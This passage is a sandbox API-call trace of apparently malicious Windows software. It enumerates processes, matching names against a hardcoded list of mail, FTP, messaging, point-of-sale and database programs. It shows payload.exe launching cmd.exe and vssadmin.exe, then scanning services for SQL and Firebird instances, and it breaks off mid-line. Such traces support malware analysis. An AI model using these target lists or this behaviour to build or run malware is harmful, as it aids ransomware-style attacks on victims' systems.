hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0044.805] lstrlenW (lpString="thunderbird.exe") returned 15 [0044.805] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0044.806] lstrlenW (lpString="totalcmd.exe") returned 12 [0044.806] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0044.806] lstrlenW (lpString="trillian.exe") returned 12 [0044.806] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0044.807] lstrlenW (lpString="webdrive.exe") returned 12 [0044.807] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0044.808] lstrlenW (lpString="whatsapp.exe") returned 12 [0044.808] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0044.808] lstrlenW (lpString="winscp.exe") returned 10 [0044.808] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0044.809] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0044.809] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0044.809] lstrlenW (lpString="active-charge.exe") returned 17 [0044.809] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0044.810] lstrlenW (lpString="accupos.exe") returned 11 [0044.810] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0044.811] lstrlenW (lpString="afr38.exe") returned 9 [0044.811] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0044.811] lstrlenW (lpString="aldelo.exe") returned 10 [0044.811] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0044.812] lstrlenW (lpString="ccv_server.exe") returned 14 [0044.812] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0044.812] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0044.812] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0044.813] lstrlenW (lpString="creditservice.exe") returned 17 [0044.813] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0044.813] lstrlenW (lpString="edcsvr.exe") returned 10 [0044.813] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0044.814] lstrlenW (lpString="fpos.exe") returned 8 [0044.814] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0044.815] lstrlenW (lpString="isspos.exe") returned 10 [0044.815] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0044.815] lstrlenW (lpString="mxslipstream.exe") returned 16 [0044.815] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0044.816] lstrlenW (lpString="omnipos.exe") returned 11 [0044.816] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0044.816] lstrlenW (lpString="spcwin.exe") returned 10 [0044.816] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0044.817] lstrlenW (lpString="spgagentservice.exe") returned 19 [0044.817] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0044.817] lstrlenW (lpString="utg2.exe") returned 8 [0044.817] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0044.818] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0044.818] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0044.818] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0044.818] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0044.819] lstrlenW (lpString="notebook.exe") returned 12 [0044.819] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0044.819] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0044.819] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0044.820] lstrlenW (lpString="current.exe") returned 11 [0044.820] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.820] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.820] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.820] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.820] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.821] lstrlenW (lpString="taskhost.exe") returned 12 [0044.821] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0044.821] lstrlenW (lpString="payload.exe") returned 11 [0044.821] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0044.822] lstrlenW (lpString="cmd.exe") returned 7 [0044.822] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.822] lstrlenW (lpString="conhost.exe") returned 11 [0044.822] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0044.823] lstrlenW (lpString="vssadmin.exe") returned 12 [0044.823] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0044.823] lstrlenW (lpString="VSSVC.exe") returned 9 [0044.823] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.824] lstrlenW (lpString="svchost.exe") returned 11 [0044.824] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0044.824] CloseHandle (hObject=0x20c) returned 1 [0044.824] Sleep (dwMilliseconds=0x1f4) [0045.593] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8ff9b0 [0045.593] EnumServicesStatusExW (in: hSCManager=0x8ff9b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0045.593] GetLastError () returned 0xea [0045.593] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12c6) returned 0x974238 [0045.593] EnumServicesStatusExW (in: hSCManager=0x8ff9b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x974238, cbBufSize=0x12c6, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x974238, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0045.594] CloseServiceHandle (hSCObject=0x8ff9b0) returned 1 [0045.594] lstrlenW (lpString="Appinfo") returned 7 [0045.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0045.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0045.594] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0045.594] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0045.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0045.594] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0045.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.594] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0045.594] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0045.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0045.594] lstrlenW (lpString="AudioSrv") returned 8 [0045.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0045.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0045.594] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0045.594] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0045.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0045.594] lstrlenW (lpString="BFE") returned 3 [0045.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0045.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0045.595] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0045.595] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0045.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0045.595] lstrlenW (lpString="CryptSvc") returned 8 [0045.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0045.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0045.595] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0045.595] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0045.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0045.595] lstrlenW (lpString="CscService") returned 10 [0045.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0045.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0045.595] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0045.595] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0045.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0045.595] lstrlenW (lpString="DcomLaunch") returned 10 [0045.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.595] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0045.595] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0045.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0045.595] lstrlenW (lpString="Dhcp") returned 4 [0045.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0045.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0045.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0045.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0045.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0045.595] lstrlenW (lpString="Dnscache") returned 8 [0045.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0045.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0045.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0045.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0045.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0045.595] lstrlenW (lpString="DPS") returned 3 [0045.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0045.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0045.595] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0045.595] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0045.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0045.595] lstrlenW (lpString="eventlog") returned 8 [0045.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0045.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0045.595] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0045.595] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0045.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0045.596] lstrlenW (lpString="EventSystem") returned 11 [0045.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0045.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0045.596] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0045.596] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0045.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0045.596] lstrlenW (lpString="gpsvc") returned 5 [0045.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0045.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0045.596] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0045.596] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0045.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0045.596] lstrlenW (lpString="iphlpsvc") returned 8 [0045.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.596] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0045.596] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0045.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0045.596] lstrlenW (lpString="LanmanServer") returned 12 [0045.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0045.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0045.596] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0045.596] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0045.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0045.596] lstrlenW (lpString="LanmanWorkstation") returned 17 [0045.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.596] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0045.596] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0045.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0045.596] lstrlenW (lpString="lmhosts") returned 7 [0045.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0045.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0045.596] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0045.596] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0045.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0045.596] lstrlenW (lpString="MMCSS") returned 5 [0045.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0045.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0045.596] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0045.596] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0045.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0045.596] lstrlenW (lpString="MpsSvc") returned 6 [0045.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0045.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0045.597] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0045.597] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0045.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0045.597] lstrlenW (lpString="Netman") returned 6 [0045.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0045.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0045.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0045.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0045.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0045.597] lstrlenW (lpString="netprofm") returned 8 [0045.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0045.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0045.597] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0045.597] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0045.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0045.597] lstrlenW (lpString="NlaSvc") returned 6 [0045.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0045.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0045.597] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0045.597] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0045.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0045.597] lstrlenW (lpString="nsi") returned 3 [0045.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0045.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0045.597] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0045.597] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0045.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0045.597] lstrlenW (lpString="PcaSvc") returned 6 [0045.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0045.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0045.597] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0045.597] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0045.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0045.597] lstrlenW (lpString="PlugPlay") returned 8 [0045.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0045.597] 